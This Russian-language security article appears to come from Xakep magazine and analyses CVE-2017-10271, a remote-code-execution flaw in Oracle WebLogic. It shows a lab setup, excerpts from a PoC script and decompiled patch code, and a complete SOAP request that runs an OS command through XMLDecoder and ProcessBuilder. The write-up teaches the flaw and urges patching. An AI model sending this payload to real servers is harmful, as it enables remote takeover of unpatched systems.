Содержание статьи
Сервер приложений WebLogic, как и большинство продуктов Oracle, широко распространен в энтерпрайз-среде и используется крупными компаниями по всему миру. Проблемы, подобные этой, могут грозить огромными убытками и повлечь за собой утечки приватных данных.
Продукты компании PeopleSoft, производящей ПО для управления базами клиентов, финансового планирования и управления персоналом, тоже подвержены этой уязвимости, поскольку один из компонентов — это сервер WebLogic.
Проблема заключается в некорректной фильтрации данных при парсинге пользовательского запроса в XML перед передачей его в XMLDecoder. Отвечает за это модуль WLS Security. Уязвимость получила номер CVE-2017-10271 — это логическое продолжение не до конца запатченной CVE-2017-3506 в модуле Web Services. Баг затрагивает версии WebLogic до 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 и 12.2.1.2.0.
Подготовка
Сначала поднимем и настроим наш первый в 2018 году стенд для тестирования уязвимости. Я сижу на винде и поэтому буду использовать win-версию сервера WebLogic.
Для того чтобы загрузить сам дистрибутив, тебе понадобится рабочий аккаунт Oracle. Если у тебя его нет, то можешь зарегистрироваться тут. Далее переходим в раздел загрузок, принимаем лицензионное соглашение и выбираем нужную версию дистрибутива для загрузки.
Рекомендую использовать ветку 10.3.6, так как там сразу работает уязвимый модуль. Windows Oracle WebLogic распространяется в виде инсталлятора, в котором уже имеется JDK, ведь дистрибутив написан на Java и требует Development Kit для работы.
Xakep #226. 64 подарка для хакера
Сразу после завершения установки тебе предложат запустить и настроить рабочее окружение. Не вижу смысла отказывать в этом.
После всех настроек мы получаем готовую рабочую среду для тестирования уязвимости.
Если ты используешь Linux, то рекомендую поднять окружение через Docker, благо в репозитории ты уже можешь найти готовые сборки WebLogic. Вот, например, одна из них.
Детали
Давай сразу же проверим работу эксплоита. Загрузить один из вариантов PoC можно отсюда.
Для корректной работы в качестве параметра нужно указать адрес сервера WebLogic. По умолчанию скрипт отправляет запрос с эксплоитом к роуту /wls-wsat/CoordinatorPortType
.
CVE-2017-10271/exploit.py
54: url_in = sys.argv[1]
55: do_post(url_in, command_in)
CVE-2017-10271/exploit.py
42: def do_post(url_in, command_in):
43: payload_url = url_in + "/wls-wsat/CoordinatorPortType"
После запуска PoC будет предложено ввести команду, которую нужно выполнить на удаленной системе.
CVE-2017-10271/exploit.py
53: command_in = raw_input("Enter your command here: ")
Поскольку это логическое продолжение уязвимости CVE-2017-3506, сначала взглянем, что делает патч, который Oracle выпустила для нее. Нужные нам файлы находятся в файле /lib/weblogic.jar
, поэтому его надо декомпильнуть, например с помощью Java Decompiler.
Нас интересует файл WorkContextXmlInputAdapter.java
. Вместе с апрельским патчем разработчики добавили метод validate
.
WorkContextXmlInputAdapter.java
21: public final class WorkContextXmlInputAdapter
22: implements WorkContextInput
23: {
24: private final XMLDecoder xmlDecoder;
25:
26: public WorkContextXmlInputAdapter(InputStream is)
...
47: private void validate(InputStream is)
48: {
49: WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
50: try
51: {
52: SAXParser parser = factory.newSAXParser();
53: parser.parse(is, new DefaultHandler()
54: {
55: public void startElement(String uri, String localName, String qName, Attributes attributes)
56: throws SAXException
57: {
58: if (qName.equalsIgnoreCase("object")) {
59: throw new IllegalStateException("Invalid context type: object");
60: }
61: }
62: });
63: }
Он проверяет переданный XML-запрос на наличие элементов Object, и если такой встречается, то скрипт кидает исключение Invalid context type: object
.
Однако не Object’ом единым живет RCE. Существует еще множество способов проэксплуатировать уязвимость в десериализации XML. Посмотрим на этот же файл, но уже из последней версии, где уязвимость исправлена.
WorkContextXmlInputAdapter.java
47: private void validate(InputStream is)
48: {
49: WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
50: try
51: {
52: SAXParser parser = factory.newSAXParser();
53: parser.parse(is, new DefaultHandler()
54: {
55: public void startElement(String uri, String localName, String qName, Attributes attributes)
56: throws SAXException
57: {
58: if (qName.equalsIgnoreCase("object")) {
59: throw new IllegalStateException("Invalid context type: object");
60: }
61: if (qName.equalsIgnoreCase("object")) {
62: throw new IllegalStateException("Invalid element qName:object");
63: } else if (qName.equalsIgnoreCase("new")) {
64: throw new IllegalStateException("Invalid element qName:new");
65: } else if (qName.equalsIgnoreCase("method")) {
66: throw new IllegalStateException("Invalid element qName:method");
67: } else {
68: if (qName.equalsIgnoreCase("void")) {
69: for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
70: if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
71: throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
72: }
73: }
74: }
75: if (qName.equalsIgnoreCase("array")) {
76: String classElem = attributes.getValue("class");
77: if (classElem != null && !classElem.equalsIgnoreCase("byte")) {
78: throw new IllegalStateException("The value of class attribute is not valid for array element.");
79: }
Как видишь, список неугодных элементов расширился. 🙂 Значит, помимо Object, потенциально небезопасны также и new, method, void и array в некоторых случаях. Теперь взглянем на запрос, который отправляет эксплоит.
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: weblogic.visualhack:7001
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java class="java.beans.XMLDecoder" version="1.8.0_151">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Разумеется, хидер Content-Type
должен быть text/xml
, потому что мы тут отправляем на парсинг XML. В теле запроса, чтобы вызвать класс ProcessBuilder, используется элемент типа void
. Эксплоит отправляет запрос на эндпойнт CoordinatorPortType
, однако уязвим не только он. Другие можно отыскать, если заглянуть в файл web.xml
из wls-wsat.war
.
CoordinatorPortType
RegistrationPortTypeRPC
ParticipantPortType
RegistrationRequesterPortType
CoordinatorPortType11
RegistrationPortTypeRPC11
ParticipantPortType11
RegistrationRequesterPortType11
Сам запрос обрабатывается адаптером WLSServletAdapter
, который передает данные в метод ProcessRequest
из файла WorkContextServerTube.java
(ты можешь найти его в декомпилированном weblogic.jar
по пути weblogic.wsee.jaxws.workcontex
).
WorkContextServerTube.java
19: public class WorkContextServerTube
20: extends WorkContextTube
21: {
...
39: public NextAction processRequest(Packet request)
40: {
41: this.isUseOldFormat = false;
42: if (request.getMessage() != null)
43: {
44: MessageHeaders hl = request.getMessage().getHeaders();
45: Header hn = hl.get(this.JAX_WS_WORK_AREA_HEADER, true);
46: if (hn != null)
47: {
48: readHeader(hn);
49: }
50: else
51: {
52: Header h = hl.get(WorkAreaConstants.WORK_AREA_HEADER, true);
53: if (h != null) {
54: if (supportWorkContextOldFormat) {
55: readHeaderOld(h);
56: } else {
57: throw new WebServiceException("Old format work area header is disabled.");
58: }
Переменная h
ссылается на раздел work:WorkContext
из тела запроса, он отправляется в метод readHeadOld
для дальнейшей обработки.
WorkContextTube.java
104: protected void readHeaderOld(Header header)
105: {
106: try
107: {
108: XMLStreamReader reader = header.readHeader();
109: reader.nextTag();
110: reader.nextTag();
111: XMLStreamReaderToXMLStreamWriter x = new XMLStreamReaderToXMLStreamWriter();
112: ByteArrayOutputStream baos = new ByteArrayOutputStream();
113: XMLStreamWriter writer = XMLStreamWriterFactory.create(baos);
114: x.bridge(reader, writer);
115: writer.close();
116: WorkContextXmlInputAdapter xia = new WorkContextXmlInputAdapter(new ByteArrayInputStream(baos.toByteArray()));
117: receive(xia);
Тут переменная xia
содержит переданный нами сериализованный массив объектов. Затем выполняется функция receive
в контексте переданных данных, которая, в свою очередь, вызывает метод readUTF
, и он триггерит уязвимость.
WorkContextXmlInputAdapter.java
194: public String readUTF()
195: throws IOException
196: {
197: return (String)this.xmlDecoder.readObject();
198: }
Тут мы и получаем картину, которую наблюдали в самом начале, — успешную эксплуатацию и выполнение произвольного кода.
Демонстрация уязвимости (видео)
Выводы
За последние два года Oracle закрыла огромное количество уязвимостей во всех своих продуктах, а Ларри Эллисон, один из основателей, заявил, что необходимо усилить безопасность продуктов компании, так как они часто играют ключевую роль для бизнеса.
Эту уязвимость уже облюбовали злоумышленники, написав использующий ее троян-майнер. После успешной эксплуатации на сервер устанавливался майнер криптовалюты Monero xmrig, а процесс самого приложения WebLogic убивался. Судя по некоторым отчетам, злоумышленникам удалось «заработать» таким способом около 226 тысяч долларов.
Эту атаку обнаружил и разобрал по полочкам (за что ему огромное спасибо) Ренато Мариньо (Renato Marinho), исследователь безопасности в Morphus Labs. Его смутили постоянные сбои в работе серверов WebLogic из-за их перегрузки.
Патч для устранения уязвимости вышел еще в октябре 2017 года. Только вот никто не торопится обновляться, и на просторах Сети обитает еще много бажных серверов. Если ты администратор одного из них, то поспеши накатить свежие апдейты.